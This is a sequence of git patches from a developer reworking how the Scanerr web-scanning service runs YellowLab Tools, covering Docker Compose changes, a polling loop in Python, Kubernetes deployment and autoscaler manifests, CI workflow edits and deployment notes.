--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -23,7 +23,7 @@ services:
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start && 
              sleep 10 &&
-             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
+             docker run -d --privileged --env 'DEBUG=*' -p 8383:8383 ousamabenyounes/yellowlabtools &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -60,7 +60,7 @@ services:
       sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start && 
              sleep 10 &&
-             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
+             docker run -d --privileged --env 'DEBUG=*' -p 8383:8383 ousamabenyounes/yellowlabtools &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From 7e859fd8685fab6b2f79fea6a927dea68562ed77 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 12:57:51 -0600
Subject: [PATCH 338/752] removed usless pull

---
 Dockerfile | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 8397249a..2db1538e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,6 +1,3 @@
-# pull yellowlab image
-FROM ousamabenyounes/yellowlabtools
-
 # pull main python image
 FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1

From fe115a27fe3a88528cbae4d56678a73a6e955ee1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 13:47:58 -0600
Subject: [PATCH 339/752] reverting to ylt container implementation

---
 Dockerfile                 |  6 +--
 app/api/utils/yellowlab.py | 78 +++++++++++++++++++-------------------
 docker-compose.dev.yml     | 29 ++++++++------
 3 files changed, 57 insertions(+), 56 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 2db1538e..157353e3 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -42,8 +42,4 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 
 # removing chromium config
-RUN rm -rf ~/.config/chromium
-
-# install docker
-RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
\ No newline at end of file
+RUN rm -rf ~/.config/chromium
\ No newline at end of file
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 42763b6c..8924f987 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -45,7 +45,7 @@ def yellowlab_api(self) -> dict:
         }
         data = {
             "url": self.page.page_url,
-            "waitForResponse": False,
+            "waitForResponse": True,
             "device": self.configs["device"]
         }
 
@@ -58,45 +58,45 @@ def yellowlab_api(self) -> dict:
         ).json()
 
         # retrieve runId
-        run_id = res['runId']
+        # run_id = res['runId']
         
-        wait_time = 0
-        max_wait = 1200
-        done = False
-
-        # waiting for run to complete
-        while not done and wait_time < max_wait:
-
-            # sending run request check
-            print('checking YLT API request...')
-            res = requests.get(
-                url=f'{settings.YELLOWLAB_ROOT}/api/runs/{run_id}',
-                headers=headers
-            ).json()
-
-            # checking status
-            status = res['status']['statusCode']
-            position = res['status'].get('position')
-            if status == 'awaiting':
-                max_wait = (120 * position)
-            if status == 'complete':
-                done = True
-            if status == 'failed':
-                print('YELLOWLAB API FAILED')
-                raise RuntimeError
-                break
-
-            # incrementing time
-            time.sleep(5)
-            wait_time += 5
-
-
-        # getting run results
-        print('retrieveing YLT API request...')
-        res = requests.get(
-            url=f'{settings.YELLOWLAB_ROOT}/api/results/{run_id}',
-            headers=headers
-        ).json()
+        # wait_time = 0
+        # max_wait = 1200
+        # done = False
+
+        # # waiting for run to complete
+        # while not done and wait_time < max_wait:
+
+        #     # sending run request check
+        #     print('checking YLT API request...')
+        #     res = requests.get(
+        #         url=f'{settings.YELLOWLAB_ROOT}/api/runs/{run_id}',
+        #         headers=headers
+        #     ).json()
+
+        #     # checking status
+        #     status = res['status']['statusCode']
+        #     position = res['status'].get('position')
+        #     if status == 'awaiting':
+        #         max_wait = (120 * position)
+        #     if status == 'complete':
+        #         done = True
+        #     if status == 'failed':
+        #         print('YELLOWLAB API FAILED')
+        #         raise RuntimeError
+        #         break
+
+        #     # incrementing time
+        #     time.sleep(5)
+        #     wait_time += 5
+
+
+        # # getting run results
+        # print('retrieveing YLT API request...')
+        # res = requests.get(
+        #     url=f'{settings.YELLOWLAB_ROOT}/api/results/{run_id}',
+        #     headers=headers
+        # ).json()
     
         return res
 
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 153e0e68..0cf5c7c8 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -19,11 +19,7 @@ services:
              python3 manage.py wait_for_db &&
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
-             python3 manage.py driver_p_test && 
-             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
-             service docker start && 
-             sleep 10 &&
-             docker run -d --privileged --env 'DEBUG=*' -p 8383:8383 ousamabenyounes/yellowlabtools &&
+             python3 manage.py driver_p_test &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -57,11 +53,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
-             service docker start && 
-             sleep 10 &&
-             docker run -d --privileged --env 'DEBUG=*' -p 8383:8383 ousamabenyounes/yellowlabtools &&
-             celery -A scanerr worker --beat --scheduler django --loglevel=info"
+      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
     env_file:
@@ -71,6 +63,21 @@ services:
       - app
       - db
     
+
+    
+  yellowlab:
+    container_name: yellowlab
+    privileged: true
+    restart: always
+    image: scanerr/ylt
+    ports:
+      - 8383:8383
+    depends_on:
+      - redis
+      - celery 
+      - app
+      - db
+    
       
 
   nginx-proxy:
@@ -90,7 +97,6 @@ services:
       - app
   
   
-
   nginx-proxy-letsencrypt:
     image: nginxproxy/acme-companion  # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion 
     env_file:
@@ -105,7 +111,6 @@ services:
       - nginx-proxy
 
 
-
 volumes:
   static_volume:
   letsencrypt-acme:

From af618d8bb38b385db0a85b8bdd70c1e8a3fd445a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 14:15:30 -0600
Subject: [PATCH 340/752] debugging

---
 app/api/utils/yellowlab.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 8924f987..0befa8b5 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -57,6 +57,8 @@ def yellowlab_api(self) -> dict:
             headers=headers
         ).json()
 
+        print(f'res -> {res}')
+
         # retrieve runId
         # run_id = res['runId']
         

From cb2b2e3f3e32a2120be4ae4e844118dffa057243 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 15:57:57 -0600
Subject: [PATCH 341/752] testing new ylt methods

---
 .gitignore                     |  1 +
 app/api/utils/yellowlab.py     | 81 +++++++++++++++++-----------------
 functions/yellowlab/Dockerfile |  2 +-
 k8s/prod/ylt-autoscaler.yaml   | 17 +++++++
 k8s/prod/ylt-deployment.yaml   | 50 +++++++++++++++++++++
 notes/Kubernetes.md            |  6 +++
 6 files changed, 116 insertions(+), 41 deletions(-)
 create mode 100644 k8s/prod/ylt-autoscaler.yaml
 create mode 100644 k8s/prod/ylt-deployment.yaml

diff --git a/.gitignore b/.gitignore
index d462f57a..f9aedcb0 100644
--- a/.gitignore
+++ b/.gitignore
@@ -18,3 +18,4 @@ app/static*
 app/api/migrations/*_*.py
 k8s/*/*-configs.yaml
 
+app/api/v1/ops/test.py
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 0befa8b5..be8f4822 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -57,48 +57,49 @@ def yellowlab_api(self) -> dict:
             headers=headers
         ).json()
 
-        print(f'res -> {res}')
+        # retrieve runId & pod_ip if present
+        run_id = res['runId']
+        pod_ip = res['pod_ip']
 
-        # retrieve runId
-        # run_id = res['runId']
+        NEW_ROOT = f'http://{pod_ip}' if pod_ip else settings.YELLOWLAB_ROOT
         
-        # wait_time = 0
-        # max_wait = 1200
-        # done = False
-
-        # # waiting for run to complete
-        # while not done and wait_time < max_wait:
-
-        #     # sending run request check
-        #     print('checking YLT API request...')
-        #     res = requests.get(
-        #         url=f'{settings.YELLOWLAB_ROOT}/api/runs/{run_id}',
-        #         headers=headers
-        #     ).json()
-
-        #     # checking status
-        #     status = res['status']['statusCode']
-        #     position = res['status'].get('position')
-        #     if status == 'awaiting':
-        #         max_wait = (120 * position)
-        #     if status == 'complete':
-        #         done = True
-        #     if status == 'failed':
-        #         print('YELLOWLAB API FAILED')
-        #         raise RuntimeError
-        #         break
-
-        #     # incrementing time
-        #     time.sleep(5)
-        #     wait_time += 5
-
-
-        # # getting run results
-        # print('retrieveing YLT API request...')
-        # res = requests.get(
-        #     url=f'{settings.YELLOWLAB_ROOT}/api/results/{run_id}',
-        #     headers=headers
-        # ).json()
+        wait_time = 0
+        max_wait = 1200
+        done = False
+
+        # waiting for run to complete
+        while not done and wait_time < max_wait:
+
+            # sending run request check
+            print('checking YLT API request...')
+            res = requests.get(
+                url=f'{NEW_ROOT}/api/runs/{run_id}',
+                headers=headers
+            ).json()
+
+            # checking status
+            status = res['status']['statusCode']
+            position = res['status'].get('position')
+            if status == 'awaiting':
+                max_wait = (120 * position)
+            if status == 'complete':
+                done = True
+            if status == 'failed':
+                print('YELLOWLAB API FAILED')
+                raise RuntimeError
+                break
+
+            # incrementing time
+            time.sleep(5)
+            wait_time += 5
+
+
+        # getting run results
+        print('retrieveing YLT API request...')
+        res = requests.get(
+            url=f'{NEW_ROOT}/api/results/{run_id}',
+            headers=headers
+        ).json()
     
         return res
 
diff --git a/functions/yellowlab/Dockerfile b/functions/yellowlab/Dockerfile
index 2be57998..c4e23a3b 100644
--- a/functions/yellowlab/Dockerfile
+++ b/functions/yellowlab/Dockerfile
@@ -15,7 +15,7 @@ ENV GENERATE_SOURCEMAP=false
 WORKDIR /usr/src/ylt
 
 RUN apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
-  && git clone https://github.com/YellowLabTools/YellowLabTools-server.git -b main . \
+  && git clone https://github.com/Scanerr-io/ylt-server -b main . \
   && NODE_ENV=production && export CPPFLAGS="-DPNG_ARM_NEON_OPT=0" && npm install --unsafe-perm=true --allow-root --legacy-peer-deps --omit=dev \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \
diff --git a/k8s/prod/ylt-autoscaler.yaml b/k8s/prod/ylt-autoscaler.yaml
new file mode 100644
index 00000000..1c4071f4
--- /dev/null
+++ b/k8s/prod/ylt-autoscaler.yaml
@@ -0,0 +1,17 @@
+apiVersion: keda.sh/v1alpha1
+kind: ScaledObject
+metadata:
+  name: ylt-scaler
+spec:
+  scaleTargetRef:
+    name: ylt-deployment
+  cooldownPeriod:  4000
+  pollingInterval: 15
+  minReplicaCount: 2
+  maxReplicaCount: 15
+  triggers:
+    - type: metrics-api
+      metadata:
+        targetValue: "5"
+        url: "https://api.scanerr.io/v1/ops/metrics/celery"
+        valueLocation: "num_tasks"
\ No newline at end of file
diff --git a/k8s/prod/ylt-deployment.yaml b/k8s/prod/ylt-deployment.yaml
new file mode 100644
index 00000000..2beb34ce
--- /dev/null
+++ b/k8s/prod/ylt-deployment.yaml
@@ -0,0 +1,50 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: ylt-deployment
+  labels:
+    deployment: yellowlab
+spec:
+  replicas: 2
+  selector:
+    matchLabels:
+      app: ylt-deployment
+  template:
+    metadata:
+      labels:
+        app: ylt-deployment
+    spec:
+      containers:
+      - name: yellowlab
+        image: scanerr/ylt
+        env:
+        - name: POD_IP
+          valueFrom:
+            fieldRef:
+              fieldPath: status.podIP
+        ports:
+        - containerPort: 8383
+        securityContext:
+          privileged: true
+        resources:
+          limits:
+            cpu: "1"
+            memory: "4Gi"
+          requests:
+            cpu: ".5"
+            memory: "1Gi"
+---
+
+apiVersion: v1
+kind: Service
+metadata:
+  name: ylt-service
+  labels:
+    service: ylt
+spec:
+  selector:
+    app: ylt-deployment
+  ports:
+  - name: http
+    port: 80
+    targetPort: 8383
\ No newline at end of file
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index d34df275..3f0bde4a 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -114,6 +114,12 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-autoscaler.yaml`
 
 
+#### 4.a  Spin up YLT deploymemt, service, and autoscaler
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-service.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-autoscaler.yaml`
+
+
 ### 5. Add app Ingress
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
 

From 8158d1413e70a9d78f5b7a6d9fea3bf40b036362 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 16:07:15 -0600
Subject: [PATCH 342/752] added port to NEW_ROOT

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index be8f4822..8c2d9c4e 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -61,7 +61,7 @@ def yellowlab_api(self) -> dict:
         run_id = res['runId']
         pod_ip = res['pod_ip']
 
-        NEW_ROOT = f'http://{pod_ip}' if pod_ip else settings.YELLOWLAB_ROOT
+        NEW_ROOT = f'http://{pod_ip}:8383' if pod_ip else settings.YELLOWLAB_ROOT
         
         wait_time = 0
         max_wait = 1200

From 3cbb0fe4d1a9155d826803cd7be13a62210af29d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 16:53:01 -0600
Subject: [PATCH 343/752] debugging

---
 app/api/utils/yellowlab.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 8c2d9c4e..aff387dd 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -57,9 +57,11 @@ def yellowlab_api(self) -> dict:
             headers=headers
         ).json()
 
+        print(res)
+
         # retrieve runId & pod_ip if present
         run_id = res['runId']
-        pod_ip = res['pod_ip']
+        pod_ip = res.get('pod_ip')
 
         NEW_ROOT = f'http://{pod_ip}:8383' if pod_ip else settings.YELLOWLAB_ROOT
         

From 1a555d5db566dca98fc6bdf719b9f2d260c2eb36 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 17:43:18 -0600
Subject: [PATCH 344/752] still debugging

---
 app/api/utils/yellowlab.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index aff387dd..519b1728 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -63,7 +63,8 @@ def yellowlab_api(self) -> dict:
         run_id = res['runId']
         pod_ip = res.get('pod_ip')
 
-        NEW_ROOT = f'http://{pod_ip}:8383' if pod_ip else settings.YELLOWLAB_ROOT
+        NEW_ROOT = f'http://{pod_ip}:8383' if pod_ip != None else settings.YELLOWLAB_ROOT
+        print(f'setting NEW_ROOT to -> {NEW_ROOT}')
         
         wait_time = 0
         max_wait = 1200

From 6e1a03b461ca7ee5919860068c4dc5b012e68ba3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 17:54:42 -0600
Subject: [PATCH 345/752] still debugging

---
 app/api/utils/yellowlab.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 519b1728..82ec5b27 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -80,6 +80,8 @@ def yellowlab_api(self) -> dict:
                 headers=headers
             ).json()
 
+            print(f'res -> {res}')
+
             # checking status
             status = res['status']['statusCode']
             position = res['status'].get('position')

From 5413f078362f4c60799adc46704594f62ff2fdea Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 18:42:17 -0600
Subject: [PATCH 346/752] debugging

---
 app/api/utils/scanner.py   | 20 +++++-----
 app/api/utils/yellowlab.py | 82 +++++++++++++++++++-------------------
 2 files changed, 51 insertions(+), 51 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index df40232b..b405b4cf 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -578,16 +578,16 @@ def _yellowlab(scan_id, test_id, automation_id):
     """ 
     scan = Scan.objects.get(id=scan_id)
     
-    try:
-        # running yellowlab
-        yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
-        
-        # updating Scan object
-        scan = Scan.objects.get(id=scan_id)
-        scan.yellowlab = yl_data
-        scan.save()
-    except Exception as e:
-        print(e)
+    # try:
+    # running yellowlab
+    yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
+    
+    # updating Scan object
+    scan = Scan.objects.get(id=scan_id)
+    scan.yellowlab = yl_data
+    scan.save()
+    # except Exception as e:
+    #     print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 82ec5b27..96ffc0be 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -237,47 +237,47 @@ def get_data(self):
         # except Exception as e:
             # print(e)
 
-        try:
-            raw_data = self.yellowlab_api()
-            data = self.process_data(stdout_json=raw_data)
-            return data
-
-        except Exception as e:
-            print(f'YELLOWLAB API FAILED --> {e}')
-
-            scores = {
-                "globalScore": None,
-                "pageWeight": None, 
-                "requests": None, 
-                "domComplexity": None, 
-                "javascriptComplexity": None,
-                "badJavascript": None,
-                "jQuery": None,
-                "cssComplexity": None,
-                "badCSS": None,
-                "fonts": None,
-                "serverConfig": None,
-            }
-
-            audits = {
-                "pageWeight": [], 
-                "requests": [], 
-                "domComplexity": [], 
-                "javascriptComplexity": [],
-                "badJavascript": [],
-                "jQuery": [],
-                "cssComplexity": [],
-                "badCSS": [],
-                "fonts": [],
-                "serverConfig": [],
-            }
-
-            data = {
-                "scores": scores, 
-                "audits": audits,
-                "failed": True
-            }
+        # try:
+        raw_data = self.yellowlab_api()
+        data = self.process_data(stdout_json=raw_data)
+        return data
+
+        # except Exception as e:
+        #     print(f'YELLOWLAB API FAILED --> {e}')
+
+        #     scores = {
+        #         "globalScore": None,
+        #         "pageWeight": None, 
+        #         "requests": None, 
+        #         "domComplexity": None, 
+        #         "javascriptComplexity": None,
+        #         "badJavascript": None,
+        #         "jQuery": None,
+        #         "cssComplexity": None,
+        #         "badCSS": None,
+        #         "fonts": None,
+        #         "serverConfig": None,
+        #     }
+
+        #     audits = {
+        #         "pageWeight": [], 
+        #         "requests": [], 
+        #         "domComplexity": [], 
+        #         "javascriptComplexity": [],
+        #         "badJavascript": [],
+        #         "jQuery": [],
+        #         "cssComplexity": [],
+        #         "badCSS": [],
+        #         "fonts": [],
+        #         "serverConfig": [],
+        #     }
+
+        #     data = {
+        #         "scores": scores, 
+        #         "audits": audits,
+        #         "failed": True
+        #     }
         
-            return data
+        #     return data
         
 

From c70598fa7b355f218de3f9cba2c73dd5e4ff2ada Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 18:45:30 -0600
Subject: [PATCH 347/752] fixing dict comprehension

---
 app/api/utils/scanner.py   | 20 ++++-----
 app/api/utils/yellowlab.py | 86 +++++++++++++++++++-------------------
 2 files changed, 53 insertions(+), 53 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index b405b4cf..df40232b 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -578,16 +578,16 @@ def _yellowlab(scan_id, test_id, automation_id):
     """ 
     scan = Scan.objects.get(id=scan_id)
     
-    # try:
-    # running yellowlab
-    yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
-    
-    # updating Scan object
-    scan = Scan.objects.get(id=scan_id)
-    scan.yellowlab = yl_data
-    scan.save()
-    # except Exception as e:
-    #     print(e)
+    try:
+        # running yellowlab
+        yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
+        
+        # updating Scan object
+        scan = Scan.objects.get(id=scan_id)
+        scan.yellowlab = yl_data
+        scan.save()
+    except Exception as e:
+        print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 96ffc0be..24fa0e9a 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -83,8 +83,8 @@ def yellowlab_api(self) -> dict:
             print(f'res -> {res}')
 
             # checking status
-            status = res['status']['statusCode']
-            position = res['status'].get('position')
+            status = res['run']['status']['statusCode']
+            position = res['run']['status'].get('position')
             if status == 'awaiting':
                 max_wait = (120 * position)
             if status == 'complete':
@@ -237,47 +237,47 @@ def get_data(self):
         # except Exception as e:
             # print(e)
 
-        # try:
-        raw_data = self.yellowlab_api()
-        data = self.process_data(stdout_json=raw_data)
-        return data
-
-        # except Exception as e:
-        #     print(f'YELLOWLAB API FAILED --> {e}')
-
-        #     scores = {
-        #         "globalScore": None,
-        #         "pageWeight": None, 
-        #         "requests": None, 
-        #         "domComplexity": None, 
-        #         "javascriptComplexity": None,
-        #         "badJavascript": None,
-        #         "jQuery": None,
-        #         "cssComplexity": None,
-        #         "badCSS": None,
-        #         "fonts": None,
-        #         "serverConfig": None,
-        #     }
-
-        #     audits = {
-        #         "pageWeight": [], 
-        #         "requests": [], 
-        #         "domComplexity": [], 
-        #         "javascriptComplexity": [],
-        #         "badJavascript": [],
-        #         "jQuery": [],
-        #         "cssComplexity": [],
-        #         "badCSS": [],
-        #         "fonts": [],
-        #         "serverConfig": [],
-        #     }
-
-        #     data = {
-        #         "scores": scores, 
-        #         "audits": audits,
-        #         "failed": True
-        #     }
+        try:
+            raw_data = self.yellowlab_api()
+            data = self.process_data(stdout_json=raw_data)
+            return data
+
+        except Exception as e:
+            print(f'YELLOWLAB API FAILED --> {e}')
+
+            scores = {
+                "globalScore": None,
+                "pageWeight": None, 
+                "requests": None, 
+                "domComplexity": None, 
+                "javascriptComplexity": None,
+                "badJavascript": None,
+                "jQuery": None,
+                "cssComplexity": None,
+                "badCSS": None,
+                "fonts": None,
+                "serverConfig": None,
+            }
+
+            audits = {
+                "pageWeight": [], 
+                "requests": [], 
+                "domComplexity": [], 
+                "javascriptComplexity": [],
+                "badJavascript": [],
+                "jQuery": [],
+                "cssComplexity": [],
+                "badCSS": [],
+                "fonts": [],
+                "serverConfig": [],
+            }
+
+            data = {
+                "scores": scores, 
+                "audits": audits,
+                "failed": True
+            }
         
-        #     return data
+            return data
         
 

From 95a85f6774b39fabf81f7b4f1c44d2cbf7526240 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 19:26:25 -0600
Subject: [PATCH 348/752] rolling out new version of YLT

---
 .github/workflows/k8s-deploy.yaml |  8 ++++----
 app/api/utils/yellowlab.py        | 23 -----------------------
 k8s/prod/ylt-deployment.yaml      |  1 +
 notes/Kubernetes.md               |  7 +++----
 4 files changed, 8 insertions(+), 31 deletions(-)

diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index 2a9a6b93..4863cb6e 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -38,21 +38,21 @@ jobs:
     
     # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
     - name: Build container image
-      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
+      run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) .
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
       run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
 
     - name: Push image to DigitalOcean Container Registry
-      run: docker image push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+      run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     
     - name: Update celery deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
 
     - name: Save DigitalOcean kubeconfig with short-lived credentials
       run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 24fa0e9a..947e74c9 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -213,29 +213,6 @@ def process_data(self, stdout_json: dict) -> dict:
 
 
     def get_data(self):
-        
-        # try CLI method first
-        # try:
-        #     stdout_value = self.init_audit() 
-        #     # decode bytes into string
-        #     stdout_string = stdout_value.decode('iso-8859-1')
-        
-        #     if len(stdout_string) != 0:
-        #         if 'Runtime error encountered' in stdout_string:
-        #             error = {'error': 'yellowlab ran into a problem',}
-        #             return error
-
-        #         # convert to dict
-        #         stdout_json = json.loads(stdout_value)
-        #         data = self.process_data(stdout_json=stdout_json)
-        #         return data
-                
-        #     else:
-        #         raise RuntimeError
-        
-        # try API method if CLI fails
-        # except Exception as e:
-            # print(e)
 
         try:
             raw_data = self.yellowlab_api()
diff --git a/k8s/prod/ylt-deployment.yaml b/k8s/prod/ylt-deployment.yaml
index 2beb34ce..37277f4e 100644
--- a/k8s/prod/ylt-deployment.yaml
+++ b/k8s/prod/ylt-deployment.yaml
@@ -14,6 +14,7 @@ spec:
       labels:
         app: ylt-deployment
     spec:
+      terminationGracePeriodSeconds: 4000
       containers:
       - name: yellowlab
         image: scanerr/ylt
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 3f0bde4a..af3516c1 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -87,12 +87,12 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 1. Create docker secrets  
-- `kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=<username> --docker-password=<password> --docker-email=<email>` 
+- `kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username='<username>' --docker-password='<password>' --docker-email='<email>'` 
 
 
 ### 1. Build Dockerfile into image
-- `docker build . -t landonr/scanerr-server:latest`
-- `docker image push landonr/scanerr-server:latest`
+- `docker build . -t scanerr/server:latest`
+- `docker image push scanerr/server:latest`
 
 
 ### 2. Install nginx ingress controler on cluster
@@ -116,7 +116,6 @@ kubectl port-forward service/app-service 8000:8000
 
 #### 4.a  Spin up YLT deploymemt, service, and autoscaler
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-deployment.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-service.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-autoscaler.yaml`
 
 

From 3e912dfbf60149cc83fcb17501ae5513884e306a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 08:38:04 -0600
Subject: [PATCH 349/752] testing new yellowlab configs

---
